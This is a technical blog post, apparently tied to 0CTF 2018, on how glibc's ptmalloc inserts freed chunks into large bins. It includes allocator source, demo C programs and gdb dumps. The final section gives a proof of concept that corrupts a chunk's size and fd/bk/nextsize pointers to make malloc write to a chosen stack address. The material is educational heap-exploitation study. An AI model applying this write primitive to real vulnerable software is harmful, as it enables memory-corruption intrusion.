Introduction
In my post on allocation internal on ptmalloc, I actually miss one part of code in _int_malloc . In recent 0CTF 2018, this part of code is used to launch the exploit. Therefore, I decide to introduce this part of code in this post. In my previous posts, I only introduce how large chunks are retrieved from largebin, but I miss the part on how the freed chunks are inserted into largebin. This post will give a detailed introduction on this part.
Background
The following code first removes the chunk from the unsorted bin and continue to process on the chunk for further operation. All the content in this post will be based on the code below.
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
/* Take now instead of binning if exact fit */
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* place chunk in bin */
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
#define MAX_ITERS 10000
if (++iters >= MAX_ITERS)
break;
}
The code snippet is wrapped within a while loop. In each iteration of the loop, the last chunk of current unsorted bin will be retrieved. The loop will end if there is no more available chunks in the unsorted bin.
The retrieved chunk will be processed in the following steps.
(1) If 1.the chunk is the last chunk in unsorted bin, and 2.the requested bytes is less than MIN_LARGE_SIZE and 3. the size of the retrieved chunk fits the requested chunk and 4. the retrieved chunk is the last remainder, the retrieved chunk will be split into the chunk of requested size and remainder chunk. The chunk of requested size will be returned to application, and the remainder chunk will be inserted into unsorted bin again.
(2) Otherwise, we remove the retrieved chunk from unsorted bin and move into following procedures:
(2-1) If the size of removed chunk is equal to the requested size, return the chunk directly.
(2-2) If the size of removed chunk is in the range of small chunk, get the corresponding small bin and insert the chunk into small bin.
(2-3) If the size of removed chunk is in the range of large chunk, get the corresponding large bin and move into following procedures:
(2-3-1) If there is no available chunk in current large bin, we insert the removed chunk into the current large bin and set fd_nextsize and bk_nextsize to the removed chunk itself.
(2-3-2) Otherwise, if there exists chunk in current large bin, we continue to move into following procedures:
(2-3-2-1) If the size of the last chunk in the large bin is larger than the removed chunk, we insert the removed chunk into the large bin as the last chunk.
(2-3-2-2) Otherwise, we start to traverse from the first chunk in large bin. This traverse is based on the fd_nextsize of the chunk and stops until we reach a chunk fwd, whose size is smaller or equal to the removed chunk.
(2-3-2-2-1) If the size of fwd is equal to the removed chunk, we insert the removed chunk into the unsorted bin right after fwd.
(2-3-2-2-2) If the size of fwd is smaller than the removed chunk, we assign fwd to fd_nextsize of the removed chunk and assign the previous chunk during the traversal to bk_nextsize of removed chunk. Then we insert the removed chunk into the unsorted bin right before fwd.
Except for (1) and (2-1), all other operations will not return chunk to application. The requested chunk will be returned by following codes in __int_malloc, which is out of the scope of this post. Simply speaking, the allocator will traverses through the small bin and large bin, find the smallest chunk that fits requested size, split the chunk and insert the remainder chunk into unsorted bin. If no suitable chunk is found, the allocator splits the top chunk.
In the next, I will give concrete examples to demonstrate the steps after (2-3) to see how large bins are organized.
Large Bin Management
Before giving details of the large bin management, I need to give a direct understanding of the code above. Let me use the code to demonstrate.
//gcc large.c -o large -no-pie
#include<stdlib.h>
int main()
{
unsigned long *p1, *p2, *p3, *p4, *p5, *p6, *p7, *p8, *p9, *p10;
unsigned long *p;
p1 = malloc(0x3f0);
p2 = malloc(0x20);
p3 = malloc(0x400);
p4 = malloc(0x20);
p5 = malloc(0x400);
p6 = malloc(0x20);
p7 = malloc(0x120);
p8 = malloc(0x20);
p9 = malloc(0x140);
p10 = malloc(0x20);
free(p7);
free(p9);
p = malloc(0x60);
p = malloc(0xb0);
free(p1);
free(p3);
free(p5);
p = malloc(0x110);
return 0;
}
After the free at line 19, we insert two chunks into unsorted bin as below:
//main_arena status 0x7ffff7dd3b00 <main_arena>: 0x0000000100000000 0x0000000000000000 0x7ffff7dd3b10 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b20 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b30 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b40 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b50 <main_arena+80>: 0x0000000000000000 0x0000000000602f90 0x7ffff7dd3b60 <main_arena+96>: 0x0000000000000000 0x0000000000602e10 0x7ffff7dd3b70 <main_arena+112>: 0x0000000000602cb0 0x00007ffff7dd3b68 0x7ffff7dd3b80 <main_arena+128>: 0x00007ffff7dd3b68 0x00007ffff7dd3b78 //p7 (gdb) x/8gx 0x0000000000602cb0 0x602cb0: 0x0000000000000000 0x0000000000000131 0x602cc0: 0x00007ffff7dd3b58 0x0000000000602e10 0x602cd0: 0x0000000000000000 0x0000000000000000 0x602ce0: 0x0000000000000000 0x0000000000000000 //p9 (gdb) x/8gx 0x0000000000602e10 0x602e10: 0x0000000000000000 0x0000000000000151 0x602e20: 0x0000000000602cb0 0x00007ffff7dd3b58 0x602e30: 0x0000000000000000 0x0000000000000000 0x602e40: 0x0000000000000000 0x0000000000000000
After malloc at line 21, chunk at 0x602cb0 and chunk at 0x602e10 will be inserted into corresponding small bin respectively. According to the best fit policy, the chunk of size 0x130 will be taken from the small bin and the remainder chunk is inserted into unsorted bin again.
0x7ffff7dd3b00 <main_arena>: 0x0000000100000000 0x0000000000000000 0x7ffff7dd3b10 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b20 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b30 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b40 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b50 <main_arena+80>: 0x0000000000000000 0x0000000000602f90 0x7ffff7dd3b60 <main_arena+96>: 0x0000000000602d20 0x0000000000602d20 0x7ffff7dd3b70 <main_arena+112>: 0x0000000000602d20 0x00007ffff7dd3b68 0x7ffff7dd3b80 <main_arena+128>: 0x00007ffff7dd3b68 0x00007ffff7dd3b78 0x7ffff7dd3b90 <main_arena+144>: 0x00007ffff7dd3b78 0x00007ffff7dd3b88 0x7ffff7dd3ba0 <main_arena+160>: 0x00007ffff7dd3b88 0x00007ffff7dd3b98 0x7ffff7dd3bb0 <main_arena+176>: 0x00007ffff7dd3b98 0x00007ffff7dd3ba8 0x7ffff7dd3bc0 <main_arena+192>: 0x00007ffff7dd3ba8 0x00007ffff7dd3bb8 0x7ffff7dd3bd0 <main_arena+208>: 0x00007ffff7dd3bb8 0x00007ffff7dd3bc8 0x7ffff7dd3be0 <main_arena+224>: 0x00007ffff7dd3bc8 0x00007ffff7dd3bd8 0x7ffff7dd3bf0 <main_arena+240>: 0x00007ffff7dd3bd8 0x00007ffff7dd3be8 0x7ffff7dd3c00 <main_arena+256>: 0x00007ffff7dd3be8 0x00007ffff7dd3bf8 0x7ffff7dd3c10 <main_arena+272>: 0x00007ffff7dd3bf8 0x00007ffff7dd3c08 0x7ffff7dd3c20 <main_arena+288>: 0x00007ffff7dd3c08 0x00007ffff7dd3c18 0x7ffff7dd3c30 <main_arena+304>: 0x00007ffff7dd3c18 0x00007ffff7dd3c28 0x7ffff7dd3c40 <main_arena+320>: 0x00007ffff7dd3c28 0x00007ffff7dd3c38 0x7ffff7dd3c50 <main_arena+336>: 0x00007ffff7dd3c38 0x00007ffff7dd3c48 0x7ffff7dd3c60 <main_arena+352>: 0x00007ffff7dd3c48 0x00007ffff7dd3c58 0x7ffff7dd3c70 <main_arena+368>: 0x00007ffff7dd3c58 0x00007ffff7dd3c68 0x7ffff7dd3c80 <main_arena+384>: 0x00007ffff7dd3c68 0x00007ffff7dd3c78 0x7ffff7dd3c90 <main_arena+400>: 0x00007ffff7dd3c78 0x00007ffff7dd3c88 0x7ffff7dd3ca0 <main_arena+416>: 0x00007ffff7dd3c88 0x0000000000602e10 0x7ffff7dd3cb0 <main_arena+432>: 0x0000000000602e10 0x00007ffff7dd3ca8 //remainder chunk (gdb) x/8gx 0x0000000000602d20 0x602d20: 0x0000000000000000 0x00000000000000c1 0x602d30: 0x00007ffff7dd3b58 0x00007ffff7dd3b58 0x602d40: 0x0000000000000000 0x0000000000000000 0x602d50: 0x0000000000000000 0x0000000000000000
After malloc at line 22, chunk at 0x602d20 is directly removed from unsorted bin and returned in step (1). At this point, there is only one available chunk (0x602e10) left in small bin.
After free at line 26, three large chunks are inserted into unsorted bin as below:
//main_arena 0x7ffff7dd3b00 <main_arena>: 0x0000000100000000 0x0000000000000000 0x7ffff7dd3b10 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b20 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b30 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b40 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b50 <main_arena+80>: 0x0000000000000000 0x0000000000602f90 0x7ffff7dd3b60 <main_arena+96>: 0x0000000000602d20 0x0000000000602870 0x7ffff7dd3b70 <main_arena+112>: 0x0000000000602000 0x00007ffff7dd3b68 0x7ffff7dd3b80 <main_arena+128>: 0x00007ffff7dd3b68 0x00007ffff7dd3b78 //p1 (gdb) x/8gx 0x0000000000602000 0x602000: 0x0000000000000000 0x0000000000000401 0x602010: 0x00007ffff7dd3b58 0x0000000000602430 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 //p3 (gdb) x/8gx 0x0000000000602430 0x602430: 0x0000000000000000 0x0000000000000411 0x602440: 0x0000000000602000 0x0000000000602870 0x602450: 0x0000000000000000 0x0000000000000000 0x602460: 0x0000000000000000 0x0000000000000000 //p5 (gdb) x/8gx 0x0000000000602870 0x602870: 0x0000000000000000 0x0000000000000411 0x602880: 0x0000000000602430 0x00007ffff7dd3b58 0x602890: 0x0000000000000000 0x0000000000000000 0x6028a0: 0x0000000000000000 0x0000000000000000
Let’s observe what happens after malloc at line 28. The large chunk at 0x602000, 0x602430 and 0x602870 will be inserted into one large bin first. The allocator will than iterate over the small bins and find the available chunk at 0x602e10. The chunk at 0x602e10 will be removed from the small bin, and split into a chunk of requested size and remainder chunk. The final result is given below:
//main_arena around unsorted bin 0x7ffff7dd3b00 <main_arena>: 0x0000000100000000 0x0000000000000000 0x7ffff7dd3b10 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b20 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b30 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b40 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b50 <main_arena+80>: 0x0000000000000000 0x0000000000602f90 0x7ffff7dd3b60 <main_arena+96>: 0x0000000000602f30 0x0000000000602f30 0x7ffff7dd3b70 <main_arena+112>: 0x0000000000602f30 0x00007ffff7dd3b68 0x7ffff7dd3b80 <main_arena+128>: 0x00007ffff7dd3b68 0x00007ffff7dd3b78 //main_arena around large bin 0x7ffff7dd3f00 <main_arena+1024>: 0x00007ffff7dd3ee8 0x00007ffff7dd3ef8 0x7ffff7dd3f10 <main_arena+1040>: 0x00007ffff7dd3ef8 0x00007ffff7dd3f08 0x7ffff7dd3f20 <main_arena+1056>: 0x00007ffff7dd3f08 0x00007ffff7dd3f18 0x7ffff7dd3f30 <main_arena+1072>: 0x00007ffff7dd3f18 0x00007ffff7dd3f28 0x7ffff7dd3f40 <main_arena+1088>: 0x00007ffff7dd3f28 0x00007ffff7dd3f38 0x7ffff7dd3f50 <main_arena+1104>: 0x00007ffff7dd3f38 0x0000000000602430 0x7ffff7dd3f60 <main_arena+1120>: 0x0000000000602000 0x00007ffff7dd3f58 0x7ffff7dd3f70 <main_arena+1136>: 0x00007ffff7dd3f58 0x00007ffff7dd3f68 0x7ffff7dd3f80 <main_arena+1152>: 0x00007ffff7dd3f68 0x00007ffff7dd3f78 //p1 (gdb) x/8gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000401 0x602010: 0x00007ffff7dd3f48 0x0000000000602870 0x602020: 0x0000000000602430 0x0000000000602430 0x602030: 0x0000000000000000 0x0000000000000000 //p3 (gdb) x/8gx 0x602430 0x602430: 0x0000000000000000 0x0000000000000411 0x602440: 0x0000000000602870 0x00007ffff7dd3f48 0x602450: 0x0000000000602000 0x0000000000602000 0x602460: 0x0000000000000000 0x0000000000000000 //p5 (gdb) x/8gx 0x602870 0x602870: 0x0000000000000000 0x0000000000000411 0x602880: 0x0000000000602000 0x0000000000602430 0x602890: 0x0000000000000000 0x0000000000000000 0x6028a0: 0x0000000000000000 0x0000000000000000
We can find that the chunks in large bin are organized in the descending order on size. The first chunk is the largest one and the last chunk is the smallest one.
But the problem is that there is no security check in whether the chunks are organized in descending order. Then let’s use the following code to demonstrate step (2-3-2-1), (2-3-2-2-1), (2-3-2-2-2).
Please note that when using one code snippet, please comment other two code snippets in the given example.
//gcc largeShow.c -o largeShow -no-pie
#include<stdlib.h>
int main()
{
unsigned long *p1, *p2, *p3, *p4, *p5, *p6, *p7, *p8, *p9, *p10, *p11, *p12;
unsigned long *p;
p1 = malloc(0x3f0);
p2 = malloc(0x20);
p3 = malloc(0x400);
p4 = malloc(0x20);
p5 = malloc(0x400);
p6 = malloc(0x20);
p7 = malloc(0x120);
p8 = malloc(0x20);
p9 = malloc(0x140);
p10 = malloc(0x20);
p11 = malloc(0x400);
p12 = malloc(0x20);
free(p7);
free(p9);
p = malloc(0x60);
p = malloc(0xb0);
free(p1);
free(p3);
free(p5);
p = malloc(0x60);
free(p11);
//step 2-3-2-1
//*(p1-1) = 0x421;
//p = malloc(0x60);
//step 2-3-2-2-1
//p = malloc(0x60);
//step 2-3-2-2-2
//*(p3-1) = 0x3f1;
//p = malloc(0x60);
return 0;
}
Step 2-3-2-1
In the sample code for step 2-3-2-1, I corrupt the size of last chunk in large bin to 0x421, which is larger than the chunk to be inserted. According to the step 2-3-2-1, the chunk will be inserted into large bin as last chunk
(gdb) x/20gx &__malloc_hook+0x80 0x7ffff7dd3ef0 <main_arena+1008>: 0x00007ffff7dd3ed8 0x00007ffff7dd3ee8 0x7ffff7dd3f00 <main_arena+1024>: 0x00007ffff7dd3ee8 0x00007ffff7dd3ef8 0x7ffff7dd3f10 <main_arena+1040>: 0x00007ffff7dd3ef8 0x00007ffff7dd3f08 0x7ffff7dd3f20 <main_arena+1056>: 0x00007ffff7dd3f08 0x00007ffff7dd3f18 0x7ffff7dd3f30 <main_arena+1072>: 0x00007ffff7dd3f18 0x00007ffff7dd3f28 0x7ffff7dd3f40 <main_arena+1088>: 0x00007ffff7dd3f28 0x00007ffff7dd3f38 0x7ffff7dd3f50 <main_arena+1104>: 0x00007ffff7dd3f38 0x0000000000602430 0x7ffff7dd3f60 <main_arena+1120>: 0x0000000000602f90 0x00007ffff7dd3f58 0x7ffff7dd3f70 <main_arena+1136>: 0x00007ffff7dd3f58 0x00007ffff7dd3f68 0x7ffff7dd3f80 <main_arena+1152>: 0x00007ffff7dd3f68 0x00007ffff7dd3f78 (gdb) x/8gx 0x0000000000602430 0x602430: 0x0000000000000000 0x0000000000000411 0x602440: 0x0000000000602870 0x00007ffff7dd3f48 0x602450: 0x0000000000602000 0x0000000000602f90 0x602460: 0x0000000000000000 0x0000000000000000 (gdb) x/8gx 0x0000000000602870 0x602870: 0x0000000000000000 0x0000000000000411 0x602880: 0x0000000000602000 0x0000000000602430 0x602890: 0x0000000000000000 0x0000000000000000 0x6028a0: 0x0000000000000000 0x0000000000000000 (gdb) x/8gx 0x0000000000602000 0x602000: 0x0000000000000000 0x0000000000000421 0x602010: 0x0000000000602f90 0x0000000000602870 0x602020: 0x0000000000602f90 0x0000000000602430 0x602030: 0x0000000000000000 0x0000000000000000 //The removed chunk from unsorted bin is inserted into large bin as the last chunk (gdb) x/8gx 0x0000000000602f90 0x602f90: 0x0000000000000000 0x0000000000000411 0x602fa0: 0x00007ffff7dd3f48 0x0000000000602000 0x602fb0: 0x0000000000602430 0x0000000000602000 0x602fc0: 0x0000000000000000 0x0000000000000000
Step 2-3-2-2-1
In the sample code for step 2-3-2-2-1, I make no corruption here. The size of removed chunk is 0x411, which is large than the size of last chunk and equal to the size of first chunk. So the removed chunk is inserted into large bin right after the first chunk.
0x7ffff7dd3ef0 <main_arena+1008>: 0x00007ffff7dd3ed8 0x00007ffff7dd3ee8 0x7ffff7dd3f00 <main_arena+1024>: 0x00007ffff7dd3ee8 0x00007ffff7dd3ef8 0x7ffff7dd3f10 <main_arena+1040>: 0x00007ffff7dd3ef8 0x00007ffff7dd3f08 0x7ffff7dd3f20 <main_arena+1056>: 0x00007ffff7dd3f08 0x00007ffff7dd3f18 0x7ffff7dd3f30 <main_arena+1072>: 0x00007ffff7dd3f18 0x00007ffff7dd3f28 0x7ffff7dd3f40 <main_arena+1088>: 0x00007ffff7dd3f28 0x00007ffff7dd3f38 0x7ffff7dd3f50 <main_arena+1104>: 0x00007ffff7dd3f38 0x0000000000602430 0x7ffff7dd3f60 <main_arena+1120>: 0x0000000000602000 0x00007ffff7dd3f58 0x7ffff7dd3f70 <main_arena+1136>: 0x00007ffff7dd3f58 0x00007ffff7dd3f68 0x7ffff7dd3f80 <main_arena+1152>: 0x00007ffff7dd3f68 0x00007ffff7dd3f78 (gdb) x/8gx 0x602430 0x602430: 0x0000000000000000 0x0000000000000411 0x602440: 0x0000000000602f90 0x00007ffff7dd3f48 0x602450: 0x0000000000602000 0x0000000000602000 0x602460: 0x0000000000000000 0x0000000000000000 //The removed chunk is inserted right after the first chunk in large bin. (gdb) x/8gx 0x602f90 0x602f90: 0x0000000000000000 0x0000000000000411 0x602fa0: 0x0000000000602870 0x0000000000602430 0x602fb0: 0x0000000000000000 0x0000000000000000 0x602fc0: 0x0000000000000000 0x0000000000000000 (gdb) x/8gx 0x602870 0x602870: 0x0000000000000000 0x0000000000000411 0x602880: 0x0000000000602000 0x0000000000602f90 0x602890: 0x0000000000000000 0x0000000000000000 0x6028a0: 0x0000000000000000 0x0000000000000000 (gdb) x/8gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000401 0x602010: 0x00007ffff7dd3f48 0x0000000000602870 0x602020: 0x0000000000602430 0x0000000000602430 0x602030: 0x0000000000000000 0x0000000000000000
Step 2-3-2-2-2
In the sample code for step 2-3-2-2-2, I corrupt the size of first chunk in large bin to 0x401, which is smaller than the chunk to be inserted. According to the step 2-3-2-2-2, the chunk will be inserted into large bin as first chunk in large bin. fd_nextsize and bk_nextsize of chunks are reassigned accordingly.
(gdb) x/20gx &__malloc_hook+0x80 0x7ffff7dd3ef0 <main_arena+1008>: 0x00007ffff7dd3ed8 0x00007ffff7dd3ee8 0x7ffff7dd3f00 <main_arena+1024>: 0x00007ffff7dd3ee8 0x00007ffff7dd3ef8 0x7ffff7dd3f10 <main_arena+1040>: 0x00007ffff7dd3ef8 0x00007ffff7dd3f08 0x7ffff7dd3f20 <main_arena+1056>: 0x00007ffff7dd3f08 0x00007ffff7dd3f18 0x7ffff7dd3f30 <main_arena+1072>: 0x00007ffff7dd3f18 0x00007ffff7dd3f28 0x7ffff7dd3f40 <main_arena+1088>: 0x00007ffff7dd3f28 0x00007ffff7dd3f38 0x7ffff7dd3f50 <main_arena+1104>: 0x00007ffff7dd3f38 0x0000000000602f90 0x7ffff7dd3f60 <main_arena+1120>: 0x0000000000602000 0x00007ffff7dd3f58 0x7ffff7dd3f70 <main_arena+1136>: 0x00007ffff7dd3f58 0x00007ffff7dd3f68 0x7ffff7dd3f80 <main_arena+1152>: 0x00007ffff7dd3f68 0x00007ffff7dd3f78 //The removed chunk is inserted into the large bin as first bin. (gdb) x/8gx 0x0000000000602f90 0x602f90: 0x0000000000000000 0x0000000000000411 0x602fa0: 0x0000000000602430 0x00007ffff7dd3f48 0x602fb0: 0x0000000000602430 0x0000000000602000 0x602fc0: 0x0000000000000000 0x0000000000000000 (gdb) x/8gx 0x0000000000602430 0x602430: 0x0000000000000000 0x00000000000003f1 0x602440: 0x0000000000602870 0x0000000000602f90 0x602450: 0x0000000000602000 0x0000000000602f90 0x602460: 0x0000000000000000 0x0000000000000000 (gdb) x/8gx 0x0000000000602870 0x602870: 0x0000000000000000 0x0000000000000411 0x602880: 0x0000000000602000 0x0000000000602430 0x602890: 0x0000000000000000 0x0000000000000000 0x6028a0: 0x0000000000000000 0x0000000000000000 (gdb) x/8gx 0x0000000000602000 0x602000: 0x0000000000000000 0x0000000000000401 0x602010: 0x00007ffff7dd3f48 0x0000000000602870 0x602020: 0x0000000000602f90 0x0000000000602430 0x602030: 0x0000000000000000 0x0000000000000000
Large Bin Exploitation
After having understood the procedures above, let’s continue to discuss the exploitation techniques used in large bin management.
In exploit, we actually exploits the following code in step 2-3-2-2-2.
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
Similar to unsorted bin attack, if we can craft a fake address fake_chunk at fwd->bk, we can corrupt the value of fake_chunk->fd. To make things complicated, fd_nextsize and bk_nextsize are involved in this operation.
Let me use the following code for explanation.
#include<stdio.h>
#include<stdlib.h>
int main()
{
unsigned long *p1, *p2, *p3, *p4, *p5, *p6, *p7, *p8, *p9, *p10, *p11, *p12;
unsigned long *p;
unsigned long stack[8] = {0};
printf("stack address: %p\n", &stack);
p1 = malloc(0x3f0);
p2 = malloc(0x20);
p3 = malloc(0x400);
p4 = malloc(0x20);
p5 = malloc(0x400);
p6 = malloc(0x20);
p7 = malloc(0x120);
p8 = malloc(0x20);
p9 = malloc(0x140);
p10 = malloc(0x20);
p11 = malloc(0x400);
p12 = malloc(0x20);
free(p7);
free(p9);
p = malloc(0x60);
p = malloc(0xb0);
free(p1);
free(p3);
free(p5);
p = malloc(0x60);
free(p11);
*(p3-1) = 0x3f1;
*(p3) = (unsigned long)(&stack);
*(p3+1) = (unsigned long)(&stack);
*(p3+2) = (unsigned long)(&stack);
*(p3+3) = (unsigned long)(&stack);
// trigger malicious malloc
p = malloc(0x60);
return 0;
}
Assuming there exists a memory corruption vulnerability, we can corrupt the size of the first chunk in large bin to 0x3f1 and resets the fd, bk, fd_nextsize and bk_nextsize to a stack address.
//memory layout before malicious alloc stack address: 0x7fffffffe0c0 0x7ffff7dd3ef0 <main_arena+1008>: 0x00007ffff7dd3ed8 0x00007ffff7dd3ee8 0x7ffff7dd3f00 <main_arena+1024>: 0x00007ffff7dd3ee8 0x00007ffff7dd3ef8 0x7ffff7dd3f10 <main_arena+1040>: 0x00007ffff7dd3ef8 0x00007ffff7dd3f08 0x7ffff7dd3f20 <main_arena+1056>: 0x00007ffff7dd3f08 0x00007ffff7dd3f18 0x7ffff7dd3f30 <main_arena+1072>: 0x00007ffff7dd3f18 0x00007ffff7dd3f28 0x7ffff7dd3f40 <main_arena+1088>: 0x00007ffff7dd3f28 0x00007ffff7dd3f38 0x7ffff7dd3f50 <main_arena+1104>: 0x00007ffff7dd3f38 0x0000000000602840 0x7ffff7dd3f60 <main_arena+1120>: 0x0000000000602410 0x00007ffff7dd3f58 0x7ffff7dd3f70 <main_arena+1136>: 0x00007ffff7dd3f58 0x00007ffff7dd3f68 0x7ffff7dd3f80 <main_arena+1152>: 0x00007ffff7dd3f68 0x00007ffff7dd3f78 (gdb) x/8gx 0x0000000000602840 0x602840: 0x0000000000000000 0x00000000000003f1 0x602850: 0x00007fffffffe0c0 0x00007fffffffe0c0 0x602860: 0x00007fffffffe0c0 0x00007fffffffe0c0 0x602870: 0x0000000000000000 0x0000000000000000 (gdb) x/8gx 0x00007fffffffe0c0 0x7fffffffe0c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe0d0: 0x0000000000000000 0x0000000000000000 0x7fffffffe0e0: 0x0000000000000000 0x0000000000000000 0x7fffffffe0f0: 0x0000000000000000 0x0000000000000000 /////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////// //memory layout after malicious malloc 0x7ffff7dd3ef0 <main_arena+1008>: 0x00007ffff7dd3ed8 0x00007ffff7dd3ee8 0x7ffff7dd3f00 <main_arena+1024>: 0x00007ffff7dd3ee8 0x00007ffff7dd3ef8 0x7ffff7dd3f10 <main_arena+1040>: 0x00007ffff7dd3ef8 0x00007ffff7dd3f08 0x7ffff7dd3f20 <main_arena+1056>: 0x00007ffff7dd3f08 0x00007ffff7dd3f18 0x7ffff7dd3f30 <main_arena+1072>: 0x00007ffff7dd3f18 0x00007ffff7dd3f28 0x7ffff7dd3f40 <main_arena+1088>: 0x00007ffff7dd3f28 0x00007ffff7dd3f38 0x7ffff7dd3f50 <main_arena+1104>: 0x00007ffff7dd3f38 0x0000000000602840 0x7ffff7dd3f60 <main_arena+1120>: 0x0000000000602410 0x00007ffff7dd3f58 0x7ffff7dd3f70 <main_arena+1136>: 0x00007ffff7dd3f58 0x00007ffff7dd3f68 0x7ffff7dd3f80 <main_arena+1152>: 0x00007ffff7dd3f68 0x00007ffff7dd3f78 (gdb) x/8gx 0x0000000000602840 0x602840: 0x0000000000000000 0x00000000000003f1 0x602850: 0x00007fffffffe0c0 0x00000000006033a0 0x602860: 0x00007fffffffe0c0 0x00000000006033a0 0x602870: 0x0000000000000000 0x0000000000000000 (gdb) x/8gx 0x00007fffffffe0c0 0x7fffffffe0c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe0d0: 0x00000000006033a0 0x0000000000000000 0x7fffffffe0e0: 0x00000000006033a0 0x0000000000000000 0x7fffffffe0f0: 0x0000000000000000 0x0000000000000000
Conclusion
In this post, I give a very detailed explanation on large bin management in glibc. Since this is part I miss in my previous post, I think it is necessary to make it crystal clear in this post.
氷 菓 
[…] nice challenge to lead me revisiting the source of libc malloc. Please read my post on A Revisit to Large Bin first before reading this […]
LikeLiked by 1 person
[…] bin. The next step is move the fake chunk into the large bin in the same way as discussed in A Revisit to Large Bin. To avoid the integrity check in iterating over the unsorted bin, we need to modify the size of […]
LikeLiked by 1 person
[…] 这里推荐作者给出的链接 […]
LikeLike